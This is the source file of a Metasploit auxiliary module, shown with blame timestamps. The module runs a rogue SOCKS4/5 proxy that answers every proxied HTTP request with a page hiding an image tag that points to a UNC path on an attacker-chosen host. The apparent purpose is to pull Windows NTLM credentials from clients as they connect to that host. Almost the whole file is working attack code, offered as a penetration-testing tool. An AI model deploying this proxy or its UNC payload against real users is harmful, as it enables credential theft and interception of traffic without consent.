metasploit-framework/modules/auxiliary/server/socks_unc.rb

164 lines
3.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'SOCKS Proxy UNC Path Redirection',
'Description' => %q{
This module provides a Socks proxy service
that redirects all HTTP requests to a web page that
loads a UNC path.
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Proxy' ]
],
'PassiveActions' =>
[
'Proxy'
],
'DefaultAction' => 'Proxy'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1080 ]),
OptString.new('UNCHOST', [ false, "The address of the UNC host.", nil ])
], self.class)
end
def setup
super
@state = {}
end
def on_client_connect(client)
#print_status("New connection from #{client.peerhost}:#{client.peerport}")
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def on_client_data(client)
#print_status("Data from #{client.peerhost}:#{client.peerport}")
2013-08-30 21:28:54 +00:00
process_socks(client)
end
2013-08-30 21:28:54 +00:00
def on_client_close(client)
#print_status("Closed connection from #{client.peerhost}:#{client.peerport}")
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def run
exploit()
end
2013-08-30 21:28:54 +00:00
def reject(client)
rej = "\x00\x5b" + ("\x00" * 6)
client.put rej
true
end
2013-08-30 21:28:54 +00:00
def process_socks(client)
req = client.get_once
return if !(req and req.length > 2)
2013-08-30 21:28:54 +00:00
# Versions
case req[0,1]
when "\x04"
2013-08-30 21:28:54 +00:00
sver, sreq, sport, shost, suser, sname = req.unpack('CCnA4Z*Z*')
2013-08-30 21:28:54 +00:00
# Handle connections only
if (sreq != 0x01)
return reject(client)
end
2013-08-30 21:28:54 +00:00
# Handle socks4a
if (shost[0,3] == "\x00\x00\x00")
shost = sname
else
shost = shost.unpack('C*').join('.')
end
2013-08-30 21:28:54 +00:00
print_status("Connection attempt from #{client.peerhost}:#{client.peerport} to #{shost}:#{sport} #{suser.inspect}")
2013-08-30 21:28:54 +00:00
client.put("\x00\x5a\x00\x00\x00\x00\x00\x00")
2013-08-30 21:28:54 +00:00
when "\x05"
2013-08-30 21:28:54 +00:00
sver, scnt, sauth = req.unpack('CCA*')
client.put("\x05\x00")
2013-08-30 21:28:54 +00:00
req = client.get_once
2013-08-30 21:28:54 +00:00
sver, sreq, sdmp, stype = req.unpack('CCCC')
2013-08-30 21:28:54 +00:00
# Handle connections only
if (sreq != 0x01)
return reject(client)
end
2013-08-30 21:28:54 +00:00
saddr = req[4,req.length - 4]
case stype
when 0x01
shost = req[4,4].unpack('C*').join('.')
sport = req[8,2].unpack('n')[0]
2013-08-30 21:28:54 +00:00
when 0x03
shostlen = req[4]
shost = req[5, shostlen]
sport = req[5+shostlen, 2].unpack('n')[0]
2013-08-30 21:28:54 +00:00
when 0x04
shost = req[4,16].unpack('n').map{ |x| "%.2x" % x }.join(':')
sport = req[20,2].unpack('n')[0]
end
2013-08-30 21:28:54 +00:00
print_status("Connection attempt from #{client.peerhost}:#{client.peerport} to #{shost}:#{sport}")
2013-08-30 21:28:54 +00:00
res = "\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00"
client.put res
2013-08-30 21:28:54 +00:00
else
return reject(client)
end
2013-08-30 21:28:54 +00:00
req = client.get_once
hed = req ? req.split(/\n/)[0].strip : ''
host = datastore['UNCHOST'] || Rex::Socket.source_address(client.peerhost)
share = Rex::Text.rand_text_alpha(8)
filename = Rex::Text.rand_text_alpha(8)
2013-08-30 21:28:54 +00:00
print_status("Request from #{client.peerhost}:#{client.peerport}: #{hed}")
2013-08-30 21:28:54 +00:00
body = %Q|
<html><head><title>#{Rex::Text.rand_text_alpha(8)}</title><head><body>
<img src="\\\\#{host}\\#{share}\\#{filename}.jpg" style="visibility: hidden;">
</body>
</html>
|.gsub(/\s+/, ' ')
2013-08-30 21:28:54 +00:00
res = "HTTP/1.1 200 OK\r\n"
res << "Content-Type: text/html\r\n"
res << "Connection: Close\r\n"
res << "Content-Length: #{body.length}\r\n\r\n#{body}"
2013-08-30 21:28:54 +00:00
client.put(res)
end
end